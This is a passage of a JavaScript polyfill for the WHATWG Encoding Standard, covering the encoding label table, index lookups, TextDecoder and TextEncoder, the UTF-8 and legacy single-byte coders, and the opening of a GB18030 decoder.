* @param {(number|!Array.<number>)} token The tokens(s) to push to the
* stream.
*/
push: function(token) {
if (Array.isArray(token)) {
var tokens = /**@type {!Array.<number>}*/(token);
while (tokens.length)
this.tokens.unshift(tokens.shift());
} else {
this.tokens.unshift(token);
}
}
};

//
// 5. Encodings
//

// 5.1 Encoders and decoders

/** @const */
var finished = -1;

/**
* @param {boolean} fatal If true, decoding errors raise an exception.
* @param {number=} opt_code_point Override the standard fallback code point.
* @return {number} The code point to insert on a decoding error.
*/
function decoderError(fatal, opt_code_point) {
if (fatal)
throw TypeError('Decoder error');
return opt_code_point || 0xFFFD;
}

/**
* @param {number} code_point The code point that could not be encoded.
* @return {number} Always throws, no value is actually returned.
*/
function encoderError(code_point) {
throw TypeError('The code point ' + code_point + ' could not be encoded.');
}

/** @interface */
function Decoder() {}
Decoder.prototype = {
/**
* @param {Stream} stream The stream of bytes being decoded.
* @param {number} bite The next byte read from the stream.
* @return {?(number|!Array.<number>)} The next code point(s)
*     decoded, or null if not enough data exists in the input
*     stream to decode a complete code point, or |finished|.
*/
handler: function(stream, bite) {}
};

/** @interface */
function Encoder() {}
Encoder.prototype = {
/**
* @param {Stream} stream The stream of code points being encoded.
* @param {number} code_point Next code point read from the stream.
* @return {(number|!Array.<number>)} Byte(s) to emit, or |finished|.
*/
handler: function(stream, code_point) {}
};

// 5.2 Names and labels

// TODO: Define @typedef for Encoding: {name:string,labels:Array.<string>}
// https://github.com/google/closure-compiler/issues/247

/**
* @param {string} label The encoding label.
* @return {?{name:string,labels:Array.<string>}}
*/
function getEncoding(label) {
// 1. Remove any leading and trailing ASCII whitespace from label.
label = String(label).trim().toLowerCase();

// 2. If label is an ASCII case-insensitive match for any of the
// labels listed in the table below, return the corresponding
// encoding, and failure otherwise.
if (Object.prototype.hasOwnProperty.call(label_to_encoding, label)) {
return label_to_encoding[label];
}
return null;
}

/**
* Encodings table: https://encoding.spec.whatwg.org/encodings.json
* @const
* @type {!Array.<{
*          heading: string,
*          encodings: Array.<{name:string,labels:Array.<string>}>
*        }>}
*/
var encodings = [
{
"encodings": [
{
"labels": [
"unicode-1-1-utf-8",
"utf-8",
"utf8"
],
"name": "UTF-8"
}
],
"heading": "The Encoding"
},
{
"encodings": [
{
"labels": [
"866",
"cp866",
"csibm866",
"ibm866"
],
"name": "IBM866"
},
{
"labels": [
"csisolatin2",
"iso-8859-2",
"iso-ir-101",
"iso8859-2",
"iso88592",
"iso_8859-2",
"iso_8859-2:1987",
"l2",
"latin2"
],
"name": "ISO-8859-2"
},
{
"labels": [
"csisolatin3",
"iso-8859-3",
"iso-ir-109",
"iso8859-3",
"iso88593",
"iso_8859-3",
"iso_8859-3:1988",
"l3",
"latin3"
],
"name": "ISO-8859-3"
},
{
"labels": [
"csisolatin4",
"iso-8859-4",
"iso-ir-110",
"iso8859-4",
"iso88594",
"iso_8859-4",
"iso_8859-4:1988",
"l4",
"latin4"
],
"name": "ISO-8859-4"
},
{
"labels": [
"csisolatincyrillic",
"cyrillic",
"iso-8859-5",
"iso-ir-144",
"iso8859-5",
"iso88595",
"iso_8859-5",
"iso_8859-5:1988"
],
"name": "ISO-8859-5"
},
{
"labels": [
"arabic",
"asmo-708",
"csiso88596e",
"csiso88596i",
"csisolatinarabic",
"ecma-114",
"iso-8859-6",
"iso-8859-6-e",
"iso-8859-6-i",
"iso-ir-127",
"iso8859-6",
"iso88596",
"iso_8859-6",
"iso_8859-6:1987"
],
"name": "ISO-8859-6"
},
{
"labels": [
"csisolatingreek",
"ecma-118",
"elot_928",
"greek",
"greek8",
"iso-8859-7",
"iso-ir-126",
"iso8859-7",
"iso88597",
"iso_8859-7",
"iso_8859-7:1987",
"sun_eu_greek"
],
"name": "ISO-8859-7"
},
{
"labels": [
"csiso88598e",
"csisolatinhebrew",
"hebrew",
"iso-8859-8",
"iso-8859-8-e",
"iso-ir-138",
"iso8859-8",
"iso88598",
"iso_8859-8",
"iso_8859-8:1988",
"visual"
],
"name": "ISO-8859-8"
},
{
"labels": [
"csiso88598i",
"iso-8859-8-i",
"logical"
],
"name": "ISO-8859-8-I"
},
{
"labels": [
"csisolatin6",
"iso-8859-10",
"iso-ir-157",
"iso8859-10",
"iso885910",
"l6",
"latin6"
],
"name": "ISO-8859-10"
},
{
"labels": [
"iso-8859-13",
"iso8859-13",
"iso885913"
],
"name": "ISO-8859-13"
},
{
"labels": [
"iso-8859-14",
"iso8859-14",
"iso885914"
],
"name": "ISO-8859-14"
},
{
"labels": [
"csisolatin9",
"iso-8859-15",
"iso8859-15",
"iso885915",
"iso_8859-15",
"l9"
],
"name": "ISO-8859-15"
},
{
"labels": [
"iso-8859-16"
],
"name": "ISO-8859-16"
},
{
"labels": [
"cskoi8r",
"koi",
"koi8",
"koi8-r",
"koi8_r"
],
"name": "KOI8-R"
},
{
"labels": [
"koi8-ru",
"koi8-u"
],
"name": "KOI8-U"
},
{
"labels": [
"csmacintosh",
"mac",
"macintosh",
"x-mac-roman"
],
"name": "macintosh"
},
{
"labels": [
"dos-874",
"iso-8859-11",
"iso8859-11",
"iso885911",
"tis-620",
"windows-874"
],
"name": "windows-874"
},
{
"labels": [
"cp1250",
"windows-1250",
"x-cp1250"
],
"name": "windows-1250"
},
{
"labels": [
"cp1251",
"windows-1251",
"x-cp1251"
],
"name": "windows-1251"
},
{
"labels": [
"ansi_x3.4-1968",
"ascii",
"cp1252",
"cp819",
"csisolatin1",
"ibm819",
"iso-8859-1",
"iso-ir-100",
"iso8859-1",
"iso88591",
"iso_8859-1",
"iso_8859-1:1987",
"l1",
"latin1",
"us-ascii",
"windows-1252",
"x-cp1252"
],
"name": "windows-1252"
},
{
"labels": [
"cp1253",
"windows-1253",
"x-cp1253"
],
"name": "windows-1253"
},
{
"labels": [
"cp1254",
"csisolatin5",
"iso-8859-9",
"iso-ir-148",
"iso8859-9",
"iso88599",
"iso_8859-9",
"iso_8859-9:1989",
"l5",
"latin5",
"windows-1254",
"x-cp1254"
],
"name": "windows-1254"
},
{
"labels": [
"cp1255",
"windows-1255",
"x-cp1255"
],
"name": "windows-1255"
},
{
"labels": [
"cp1256",
"windows-1256",
"x-cp1256"
],
"name": "windows-1256"
},
{
"labels": [
"cp1257",
"windows-1257",
"x-cp1257"
],
"name": "windows-1257"
},
{
"labels": [
"cp1258",
"windows-1258",
"x-cp1258"
],
"name": "windows-1258"
},
{
"labels": [
"x-mac-cyrillic",
"x-mac-ukrainian"
],
"name": "x-mac-cyrillic"
}
],
"heading": "Legacy single-byte encodings"
},
{
"encodings": [
{
"labels": [
"chinese",
"csgb2312",
"csiso58gb231280",
"gb2312",
"gb_2312",
"gb_2312-80",
"gbk",
"iso-ir-58",
"x-gbk"
],
"name": "GBK"
},
{
"labels": [
"gb18030"
],
"name": "gb18030"
}
],
"heading": "Legacy multi-byte Chinese (simplified) encodings"
},
{
"encodings": [
{
"labels": [
"big5",
"big5-hkscs",
"cn-big5",
"csbig5",
"x-x-big5"
],
"name": "Big5"
}
],
"heading": "Legacy multi-byte Chinese (traditional) encodings"
},
{
"encodings": [
{
"labels": [
"cseucpkdfmtjapanese",
"euc-jp",
"x-euc-jp"
],
"name": "EUC-JP"
},
{
"labels": [
"csiso2022jp",
"iso-2022-jp"
],
"name": "ISO-2022-JP"
},
{
"labels": [
"csshiftjis",
"ms932",
"ms_kanji",
"shift-jis",
"shift_jis",
"sjis",
"windows-31j",
"x-sjis"
],
"name": "Shift_JIS"
}
],
"heading": "Legacy multi-byte Japanese encodings"
},
{
"encodings": [
{
"labels": [
"cseuckr",
"csksc56011987",
"euc-kr",
"iso-ir-149",
"korean",
"ks_c_5601-1987",
"ks_c_5601-1989",
"ksc5601",
"ksc_5601",
"windows-949"
],
"name": "EUC-KR"
}
],
"heading": "Legacy multi-byte Korean encodings"
},
{
"encodings": [
{
"labels": [
"csiso2022kr",
"hz-gb-2312",
"iso-2022-cn",
"iso-2022-cn-ext",
"iso-2022-kr"
],
"name": "replacement"
},
{
"labels": [
"utf-16be"
],
"name": "UTF-16BE"
},
{
"labels": [
"utf-16",
"utf-16le"
],
"name": "UTF-16LE"
},
{
"labels": [
"x-user-defined"
],
"name": "x-user-defined"
}
],
"heading": "Legacy miscellaneous encodings"
}
];

// Label to encoding registry.
/** @type {Object.<string,{name:string,labels:Array.<string>}>} */
var label_to_encoding = {};
encodings.forEach(function(category) {
category.encodings.forEach(function(encoding) {
encoding.labels.forEach(function(label) {
label_to_encoding[label] = encoding;
});
});
});

// Registry of of encoder/decoder factories, by encoding name.
/** @type {Object.<string, function({fatal:boolean}): Encoder>} */
var encoders = {};
/** @type {Object.<string, function({fatal:boolean}): Decoder>} */
var decoders = {};

//
// 6. Indexes
//

/**
* @param {number} pointer The |pointer| to search for.
* @param {(!Array.<?number>|undefined)} index The |index| to search within.
* @return {?number} The code point corresponding to |pointer| in |index|,
*     or null if |code point| is not in |index|.
*/
function indexCodePointFor(pointer, index) {
if (!index) return null;
return index[pointer] || null;
}

/**
* @param {number} code_point The |code point| to search for.
* @param {!Array.<?number>} index The |index| to search within.
* @return {?number} The first pointer corresponding to |code point| in
*     |index|, or null if |code point| is not in |index|.
*/
function indexPointerFor(code_point, index) {
var pointer = index.indexOf(code_point);
return pointer === -1 ? null : pointer;
}

/**
* @param {string} name Name of the index.
* @return {(!Array.<number>|!Array.<Array.<number>>)}
*  */
function index(name) {
if (!('encoding-indexes' in global)) {
throw Error("Indexes missing." +
" Did you forget to include encoding-indexes.js first?");
}
return global['encoding-indexes'][name];
}

/**
* @param {number} pointer The |pointer| to search for in the gb18030 index.
* @return {?number} The code point corresponding to |pointer| in |index|,
*     or null if |code point| is not in the gb18030 index.
*/
function indexGB18030RangesCodePointFor(pointer) {
// 1. If pointer is greater than 39419 and less than 189000, or
// pointer is greater than 1237575, return null.
if ((pointer > 39419 && pointer < 189000) || (pointer > 1237575))
return null;

// 2. If pointer is 7457, return code point U+E7C7.
if (pointer === 7457) return 0xE7C7;

// 3. Let offset be the last pointer in index gb18030 ranges that
// is equal to or less than pointer and let code point offset be
// its corresponding code point.
var offset = 0;
var code_point_offset = 0;
var idx = index('gb18030-ranges');
var i;
for (i = 0; i < idx.length; ++i) {
/** @type {!Array.<number>} */
var entry = idx[i];
if (entry[0] <= pointer) {
offset = entry[0];
code_point_offset = entry[1];
} else {
break;
}
}

// 4. Return a code point whose value is code point offset +
// pointer − offset.
return code_point_offset + pointer - offset;
}

/**
* @param {number} code_point The |code point| to locate in the gb18030 index.
* @return {number} The first pointer corresponding to |code point| in the
*     gb18030 index.
*/
function indexGB18030RangesPointerFor(code_point) {
// 1. If code point is U+E7C7, return pointer 7457.
if (code_point === 0xE7C7) return 7457;

// 2. Let offset be the last code point in index gb18030 ranges
// that is equal to or less than code point and let pointer offset
// be its corresponding pointer.
var offset = 0;
var pointer_offset = 0;
var idx = index('gb18030-ranges');
var i;
for (i = 0; i < idx.length; ++i) {
/** @type {!Array.<number>} */
var entry = idx[i];
if (entry[1] <= code_point) {
offset = entry[1];
pointer_offset = entry[0];
} else {
break;
}
}

// 3. Return a pointer whose value is pointer offset + code point
// − offset.
return pointer_offset + code_point - offset;
}

/**
* @param {number} code_point The |code_point| to search for in the Shift_JIS
*     index.
* @return {?number} The code point corresponding to |pointer| in |index|,
*     or null if |code point| is not in the Shift_JIS index.
*/
function indexShiftJISPointerFor(code_point) {
// 1. Let index be index jis0208 excluding all entries whose
// pointer is in the range 8272 to 8835, inclusive.
shift_jis_index = shift_jis_index ||
index('jis0208').map(function(code_point, pointer) {
return inRange(pointer, 8272, 8835) ? null : code_point;
});
var index_ = shift_jis_index;

// 2. Return the index pointer for code point in index.
return index_.indexOf(code_point);
}
var shift_jis_index;

/**
* @param {number} code_point The |code_point| to search for in the big5
*     index.
* @return {?number} The code point corresponding to |pointer| in |index|,
*     or null if |code point| is not in the big5 index.
*/
function indexBig5PointerFor(code_point) {
// 1. Let index be index Big5 excluding all entries whose pointer
big5_index_no_hkscs = big5_index_no_hkscs ||
index('big5').map(function(code_point, pointer) {
return (pointer < (0xA1 - 0x81) * 157) ? null : code_point;
});
var index_ = big5_index_no_hkscs;

// 2. If code point is U+2550, U+255E, U+2561, U+256A, U+5341, or
// U+5345, return the last pointer corresponding to code point in
// index.
if (code_point === 0x2550 || code_point === 0x255E ||
code_point === 0x2561 || code_point === 0x256A ||
code_point === 0x5341 || code_point === 0x5345) {
return index_.lastIndexOf(code_point);
}

// 3. Return the index pointer for code point in index.
return indexPointerFor(code_point, index_);
}
var big5_index_no_hkscs;

//
// 8. API
//

/** @const */ var DEFAULT_ENCODING = 'utf-8';

// 8.1 Interface TextDecoder

/**
* @constructor
* @param {string=} label The label of the encoding;
*     defaults to 'utf-8'.
* @param {Object=} options
*/
function TextDecoder(label, options) {
// Web IDL conventions
if (!(this instanceof TextDecoder))
throw TypeError('Called as a function. Did you forget \'new\'?');
label = label !== undefined ? String(label) : DEFAULT_ENCODING;
options = ToDictionary(options);

// A TextDecoder object has an associated encoding, decoder,
// stream, ignore BOM flag (initially unset), BOM seen flag
// (initially unset), error mode (initially replacement), and do
// not flush flag (initially unset).

/** @private */
this._encoding = null;
/** @private @type {?Decoder} */
this._decoder = null;
/** @private @type {boolean} */
this._ignoreBOM = false;
/** @private @type {boolean} */
this._BOMseen = false;
/** @private @type {string} */
this._error_mode = 'replacement';
/** @private @type {boolean} */
this._do_not_flush = false;


// 1. Let encoding be the result of getting an encoding from
// label.
var encoding = getEncoding(label);

// 2. If encoding is failure or replacement, throw a RangeError.
if (encoding === null || encoding.name === 'replacement')
throw RangeError('Unknown encoding: ' + label);
if (!decoders[encoding.name]) {
throw Error('Decoder not present.' +
' Did you forget to include encoding-indexes.js first?');
}

// 3. Let dec be a new TextDecoder object.
var dec = this;

// 4. Set dec's encoding to encoding.
dec._encoding = encoding;

// 5. If options's fatal member is true, set dec's error mode to
// fatal.
if (Boolean(options['fatal']))
dec._error_mode = 'fatal';

// 6. If options's ignoreBOM member is true, set dec's ignore BOM
// flag.
if (Boolean(options['ignoreBOM']))
dec._ignoreBOM = true;

// For pre-ES5 runtimes:
if (!Object.defineProperty) {
this.encoding = dec._encoding.name.toLowerCase();
this.fatal = dec._error_mode === 'fatal';
this.ignoreBOM = dec._ignoreBOM;
}

// 7. Return dec.
return dec;
}

if (Object.defineProperty) {
// The encoding attribute's getter must return encoding's name.
Object.defineProperty(TextDecoder.prototype, 'encoding', {
/** @this {TextDecoder} */
get: function() { return this._encoding.name.toLowerCase(); }
});

// The fatal attribute's getter must return true if error mode
// is fatal, and false otherwise.
Object.defineProperty(TextDecoder.prototype, 'fatal', {
/** @this {TextDecoder} */
get: function() { return this._error_mode === 'fatal'; }
});

// The ignoreBOM attribute's getter must return true if ignore
// BOM flag is set, and false otherwise.
Object.defineProperty(TextDecoder.prototype, 'ignoreBOM', {
/** @this {TextDecoder} */
get: function() { return this._ignoreBOM; }
});
}

/**
* @param {BufferSource=} input The buffer of bytes to decode.
* @param {Object=} options
* @return {string} The decoded string.
*/
TextDecoder.prototype.decode = function decode(input, options) {
var bytes;
if (typeof input === 'object' && input instanceof ArrayBuffer) {
bytes = new Uint8Array(input);
} else if (typeof input === 'object' && 'buffer' in input &&
input.buffer instanceof ArrayBuffer) {
bytes = new Uint8Array(input.buffer,
input.byteOffset,
input.byteLength);
} else {
bytes = new Uint8Array(0);
}

options = ToDictionary(options);

// 1. If the do not flush flag is unset, set decoder to a new
// encoding's decoder, set stream to a new stream, and unset the
// BOM seen flag.
if (!this._do_not_flush) {
this._decoder = decoders[this._encoding.name]({
fatal: this._error_mode === 'fatal'});
this._BOMseen = false;
}

// 2. If options's stream is true, set the do not flush flag, and
// unset the do not flush flag otherwise.
this._do_not_flush = Boolean(options['stream']);

// 3. If input is given, push a copy of input to stream.
// TODO: Align with spec algorithm - maintain stream on instance.
var input_stream = new Stream(bytes);

// 4. Let output be a new stream.
var output = [];

/** @type {?(number|!Array.<number>)} */
var result;

// 5. While true:
while (true) {
// 1. Let token be the result of reading from stream.
var token = input_stream.read();

// 2. If token is end-of-stream and the do not flush flag is
// set, return output, serialized.
// TODO: Align with spec algorithm.
if (token === end_of_stream)
break;

// 3. Otherwise, run these subsubsteps:

// 1. Let result be the result of processing token for decoder,
// stream, output, and error mode.
result = this._decoder.handler(input_stream, token);

// 2. If result is finished, return output, serialized.
if (result === finished)
break;

if (result !== null) {
if (Array.isArray(result))
output.push.apply(output, /**@type {!Array.<number>}*/(result));
else
output.push(result);
}

// 3. Otherwise, if result is error, throw a TypeError.
// (Thrown in handler)

// 4. Otherwise, do nothing.
}
// TODO: Align with spec algorithm.
if (!this._do_not_flush) {
do {
result = this._decoder.handler(input_stream, input_stream.read());
if (result === finished)
break;
if (result === null)
continue;
if (Array.isArray(result))
output.push.apply(output, /**@type {!Array.<number>}*/(result));
else
output.push(result);
} while (!input_stream.endOfStream());
this._decoder = null;
}

// A TextDecoder object also has an associated serialize stream
// algorithm...
/**
* @param {!Array.<number>} stream
* @return {string}
* @this {TextDecoder}
*/
function serializeStream(stream) {
// 1. Let token be the result of reading from stream.
// (Done in-place on array, rather than as a stream)

// 2. If encoding is UTF-8, UTF-16BE, or UTF-16LE, and ignore
// BOM flag and BOM seen flag are unset, run these subsubsteps:
if (includes(['UTF-8', 'UTF-16LE', 'UTF-16BE'], this._encoding.name) &&
!this._ignoreBOM && !this._BOMseen) {
if (stream.length > 0 && stream[0] === 0xFEFF) {
// 1. If token is U+FEFF, set BOM seen flag.
this._BOMseen = true;
stream.shift();
} else if (stream.length > 0) {
// 2. Otherwise, if token is not end-of-stream, set BOM seen
// flag and append token to stream.
this._BOMseen = true;
} else {
// 3. Otherwise, if token is not end-of-stream, append token
// to output.
// (no-op)
}
}
// 4. Otherwise, return output.
return codePointsToString(stream);
}

return serializeStream.call(this, output);
};

// 8.2 Interface TextEncoder

/**
* @constructor
* @param {string=} label The label of the encoding. NONSTANDARD.
* @param {Object=} options NONSTANDARD.
*/
function TextEncoder(label, options) {
// Web IDL conventions
if (!(this instanceof TextEncoder))
throw TypeError('Called as a function. Did you forget \'new\'?');
options = ToDictionary(options);

// A TextEncoder object has an associated encoding and encoder.

/** @private */
this._encoding = null;
/** @private @type {?Encoder} */
this._encoder = null;

// Non-standard
/** @private @type {boolean} */
this._do_not_flush = false;
/** @private @type {string} */
this._fatal = Boolean(options['fatal']) ? 'fatal' : 'replacement';

// 1. Let enc be a new TextEncoder object.
var enc = this;

// 2. Set enc's encoding to UTF-8's encoder.
if (Boolean(options['NONSTANDARD_allowLegacyEncoding'])) {
// NONSTANDARD behavior.
label = label !== undefined ? String(label) : DEFAULT_ENCODING;
var encoding = getEncoding(label);
if (encoding === null || encoding.name === 'replacement')
throw RangeError('Unknown encoding: ' + label);
if (!encoders[encoding.name]) {
throw Error('Encoder not present.' +
' Did you forget to include encoding-indexes.js first?');
}
enc._encoding = encoding;
} else {
// Standard behavior.
enc._encoding = getEncoding('utf-8');

if (label !== undefined && 'console' in global) {
console.warn('TextEncoder constructor called with encoding label, '
+ 'which is ignored.');
}
}

// For pre-ES5 runtimes:
if (!Object.defineProperty)
this.encoding = enc._encoding.name.toLowerCase();

// 3. Return enc.
return enc;
}

if (Object.defineProperty) {
// The encoding attribute's getter must return encoding's name.
Object.defineProperty(TextEncoder.prototype, 'encoding', {
/** @this {TextEncoder} */
get: function() { return this._encoding.name.toLowerCase(); }
});
}

/**
* @param {string=} opt_string The string to encode.
* @param {Object=} options
* @return {!Uint8Array} Encoded bytes, as a Uint8Array.
*/
TextEncoder.prototype.encode = function encode(opt_string, options) {
opt_string = opt_string === undefined ? '' : String(opt_string);
options = ToDictionary(options);

// NOTE: This option is nonstandard. None of the encodings
// permitted for encoding (i.e. UTF-8, UTF-16) are stateful when
// the input is a USVString so streaming is not necessary.
if (!this._do_not_flush)
this._encoder = encoders[this._encoding.name]({
fatal: this._fatal === 'fatal'});
this._do_not_flush = Boolean(options['stream']);

// 1. Convert input to a stream.
var input = new Stream(stringToCodePoints(opt_string));

// 2. Let output be a new stream
var output = [];

/** @type {?(number|!Array.<number>)} */
var result;
// 3. While true, run these substeps:
while (true) {
// 1. Let token be the result of reading from input.
var token = input.read();
if (token === end_of_stream)
break;
// 2. Let result be the result of processing token for encoder,
// input, output.
result = this._encoder.handler(input, token);
if (result === finished)
break;
if (Array.isArray(result))
output.push.apply(output, /**@type {!Array.<number>}*/(result));
else
output.push(result);
}
// TODO: Align with spec algorithm.
if (!this._do_not_flush) {
while (true) {
result = this._encoder.handler(input, input.read());
if (result === finished)
break;
if (Array.isArray(result))
output.push.apply(output, /**@type {!Array.<number>}*/(result));
else
output.push(result);
}
this._encoder = null;
}
// 3. If result is finished, convert output into a byte sequence,
// and then return a Uint8Array object wrapping an ArrayBuffer
// containing output.
return new Uint8Array(output);
};


//
// 9. The encoding
//

// 9.1 utf-8

// 9.1.1 utf-8 decoder
/**
* @constructor
* @implements {Decoder}
* @param {{fatal: boolean}} options
*/
function UTF8Decoder(options) {
var fatal = options.fatal;

// utf-8's decoder's has an associated utf-8 code point, utf-8
// bytes seen, and utf-8 bytes needed (all initially 0), a utf-8
// lower boundary (initially 0x80), and a utf-8 upper boundary
// (initially 0xBF).
var /** @type {number} */ utf8_code_point = 0,
/** @type {number} */ utf8_bytes_seen = 0,
/** @type {number} */ utf8_bytes_needed = 0,
/** @type {number} */ utf8_lower_boundary = 0x80,
/** @type {number} */ utf8_upper_boundary = 0xBF;

/**
* @param {Stream} stream The stream of bytes being decoded.
* @param {number} bite The next byte read from the stream.
* @return {?(number|!Array.<number>)} The next code point(s)
*     decoded, or null if not enough data exists in the input
*     stream to decode a complete code point.
*/
this.handler = function(stream, bite) {
// 1. If byte is end-of-stream and utf-8 bytes needed is not 0,
// set utf-8 bytes needed to 0 and return error.
if (bite === end_of_stream && utf8_bytes_needed !== 0) {
utf8_bytes_needed = 0;
return decoderError(fatal);
}

// 2. If byte is end-of-stream, return finished.
if (bite === end_of_stream)
return finished;

// 3. If utf-8 bytes needed is 0, based on byte:
if (utf8_bytes_needed === 0) {

// 0x00 to 0x7F
if (inRange(bite, 0x00, 0x7F)) {
// Return a code point whose value is byte.
return bite;
}

// 0xC2 to 0xDF
else if (inRange(bite, 0xC2, 0xDF)) {
// 1. Set utf-8 bytes needed to 1.
utf8_bytes_needed = 1;

// 2. Set UTF-8 code point to byte & 0x1F.
utf8_code_point = bite & 0x1F;
}

// 0xE0 to 0xEF
else if (inRange(bite, 0xE0, 0xEF)) {
// 1. If byte is 0xE0, set utf-8 lower boundary to 0xA0.
if (bite === 0xE0)
utf8_lower_boundary = 0xA0;
// 2. If byte is 0xED, set utf-8 upper boundary to 0x9F.
if (bite === 0xED)
utf8_upper_boundary = 0x9F;
// 3. Set utf-8 bytes needed to 2.
utf8_bytes_needed = 2;
// 4. Set UTF-8 code point to byte & 0xF.
utf8_code_point = bite & 0xF;
}

// 0xF0 to 0xF4
else if (inRange(bite, 0xF0, 0xF4)) {
// 1. If byte is 0xF0, set utf-8 lower boundary to 0x90.
if (bite === 0xF0)
utf8_lower_boundary = 0x90;
// 2. If byte is 0xF4, set utf-8 upper boundary to 0x8F.
if (bite === 0xF4)
utf8_upper_boundary = 0x8F;
// 3. Set utf-8 bytes needed to 3.
utf8_bytes_needed = 3;
// 4. Set UTF-8 code point to byte & 0x7.
utf8_code_point = bite & 0x7;
}

// Otherwise
else {
// Return error.
return decoderError(fatal);
}

// Return continue.
return null;
}

// 4. If byte is not in the range utf-8 lower boundary to utf-8
// upper boundary, inclusive, run these substeps:
if (!inRange(bite, utf8_lower_boundary, utf8_upper_boundary)) {

// 1. Set utf-8 code point, utf-8 bytes needed, and utf-8
// bytes seen to 0, set utf-8 lower boundary to 0x80, and set
// utf-8 upper boundary to 0xBF.
utf8_code_point = utf8_bytes_needed = utf8_bytes_seen = 0;
utf8_lower_boundary = 0x80;
utf8_upper_boundary = 0xBF;

// 2. Prepend byte to stream.
stream.prepend(bite);

// 3. Return error.
return decoderError(fatal);
}

// 5. Set utf-8 lower boundary to 0x80 and utf-8 upper boundary
// to 0xBF.
utf8_lower_boundary = 0x80;
utf8_upper_boundary = 0xBF;

// 6. Set UTF-8 code point to (UTF-8 code point << 6) | (byte &
// 0x3F)
utf8_code_point = (utf8_code_point << 6) | (bite & 0x3F);

// 7. Increase utf-8 bytes seen by one.
utf8_bytes_seen += 1;

// 8. If utf-8 bytes seen is not equal to utf-8 bytes needed,
// continue.
if (utf8_bytes_seen !== utf8_bytes_needed)
return null;

// 9. Let code point be utf-8 code point.
var code_point = utf8_code_point;

// 10. Set utf-8 code point, utf-8 bytes needed, and utf-8 bytes
// seen to 0.
utf8_code_point = utf8_bytes_needed = utf8_bytes_seen = 0;

// 11. Return a code point whose value is code point.
return code_point;
};
}

// 9.1.2 utf-8 encoder
/**
* @constructor
* @implements {Encoder}
* @param {{fatal: boolean}} options
*/
function UTF8Encoder(options) {
var fatal = options.fatal;
/**
* @param {Stream} stream Input stream.
* @param {number} code_point Next code point read from the stream.
* @return {(number|!Array.<number>)} Byte(s) to emit.
*/
this.handler = function(stream, code_point) {
// 1. If code point is end-of-stream, return finished.
if (code_point === end_of_stream)
return finished;

// 2. If code point is an ASCII code point, return a byte whose
// value is code point.
if (isASCIICodePoint(code_point))
return code_point;

// 3. Set count and offset based on the range code point is in:
var count, offset;
// U+0080 to U+07FF, inclusive:
if (inRange(code_point, 0x0080, 0x07FF)) {
// 1 and 0xC0
count = 1;
offset = 0xC0;
}
// U+0800 to U+FFFF, inclusive:
else if (inRange(code_point, 0x0800, 0xFFFF)) {
// 2 and 0xE0
count = 2;
offset = 0xE0;
}
// U+10000 to U+10FFFF, inclusive:
else if (inRange(code_point, 0x10000, 0x10FFFF)) {
// 3 and 0xF0
count = 3;
offset = 0xF0;
}

// 4. Let bytes be a byte sequence whose first byte is (code
// point >> (6 × count)) + offset.
var bytes = [(code_point >> (6 * count)) + offset];

// 5. Run these substeps while count is greater than 0:
while (count > 0) {

// 1. Set temp to code point >> (6 × (count − 1)).
var temp = code_point >> (6 * (count - 1));

// 2. Append to bytes 0x80 | (temp & 0x3F).
bytes.push(0x80 | (temp & 0x3F));

// 3. Decrease count by one.
count -= 1;
}

// 6. Return bytes bytes, in order.
return bytes;
};
}

/** @param {{fatal: boolean}} options */
encoders['UTF-8'] = function(options) {
return new UTF8Encoder(options);
};
/** @param {{fatal: boolean}} options */
decoders['UTF-8'] = function(options) {
return new UTF8Decoder(options);
};

//
// 10. Legacy single-byte encodings
//

// 10.1 single-byte decoder
/**
* @constructor
* @implements {Decoder}
* @param {!Array.<number>} index The encoding index.
* @param {{fatal: boolean}} options
*/
function SingleByteDecoder(index, options) {
var fatal = options.fatal;
/**
* @param {Stream} stream The stream of bytes being decoded.
* @param {number} bite The next byte read from the stream.
* @return {?(number|!Array.<number>)} The next code point(s)
*     decoded, or null if not enough data exists in the input
*     stream to decode a complete code point.
*/
this.handler = function(stream, bite) {
// 1. If byte is end-of-stream, return finished.
if (bite === end_of_stream)
return finished;

// 2. If byte is an ASCII byte, return a code point whose value
// is byte.
if (isASCIIByte(bite))
return bite;

// 3. Let code point be the index code point for byte − 0x80 in
// index single-byte.
var code_point = index[bite - 0x80];

// 4. If code point is null, return error.
if (code_point === null)
return decoderError(fatal);

// 5. Return a code point whose value is code point.
return code_point;
};
}

// 10.2 single-byte encoder
/**
* @constructor
* @implements {Encoder}
* @param {!Array.<?number>} index The encoding index.
* @param {{fatal: boolean}} options
*/
function SingleByteEncoder(index, options) {
var fatal = options.fatal;
/**
* @param {Stream} stream Input stream.
* @param {number} code_point Next code point read from the stream.
* @return {(number|!Array.<number>)} Byte(s) to emit.
*/
this.handler = function(stream, code_point) {
// 1. If code point is end-of-stream, return finished.
if (code_point === end_of_stream)
return finished;

// 2. If code point is an ASCII code point, return a byte whose
// value is code point.
if (isASCIICodePoint(code_point))
return code_point;

// 3. Let pointer be the index pointer for code point in index
// single-byte.
var pointer = indexPointerFor(code_point, index);

// 4. If pointer is null, return error with code point.
if (pointer === null)
encoderError(code_point);

// 5. Return a byte whose value is pointer + 0x80.
return pointer + 0x80;
};
}

(function() {
if (!('encoding-indexes' in global))
return;
encodings.forEach(function(category) {
if (category.heading !== 'Legacy single-byte encodings')
return;
category.encodings.forEach(function(encoding) {
var name = encoding.name;
var idx = index(name.toLowerCase());
/** @param {{fatal: boolean}} options */
decoders[name] = function(options) {
return new SingleByteDecoder(idx, options);
};
/** @param {{fatal: boolean}} options */
encoders[name] = function(options) {
return new SingleByteEncoder(idx, options);
};
});
});
}());

//
// 11. Legacy multi-byte Chinese (simplified) encodings
//

// 11.1 gbk

// 11.1.1 gbk decoder
// gbk's decoder is gb18030's decoder.
/** @param {{fatal: boolean}} options */
decoders['GBK'] = function(options) {
return new GB18030Decoder(options);
};

// 11.1.2 gbk encoder
// gbk's encoder is gb18030's encoder with its gbk flag set.
/** @param {{fatal: boolean}} options */
encoders['GBK'] = function(options) {
return new GB18030Encoder(options, true);
};

// 11.2 gb18030

// 11.2.1 gb18030 decoder
/**
* @constructor
* @implements {Decoder}
* @param {{fatal: boolean}} options
*/
function GB18030Decoder(options) {
var fatal = options.fatal;
// gb18030's decoder has an associated gb18030 first, gb18030
// second, and gb18030 third (all initially 0x00).
var /** @type {number} */ gb18030_first = 0x00,
/** @type {number} */ gb18030_second = 0x00,
/** @type {number} */ gb18030_third = 0x00;
/**
* @param {Stream} stream The stream of bytes being decoded.
* @param {number} bite The next byte read from the stream.
* @return {?(number|!Array.<number>)} The next code point(s)
*     decoded, or null if not enough data exists in the input
*     stream to decode a complete code point.
*/
this.handler = function(stream, bite) {
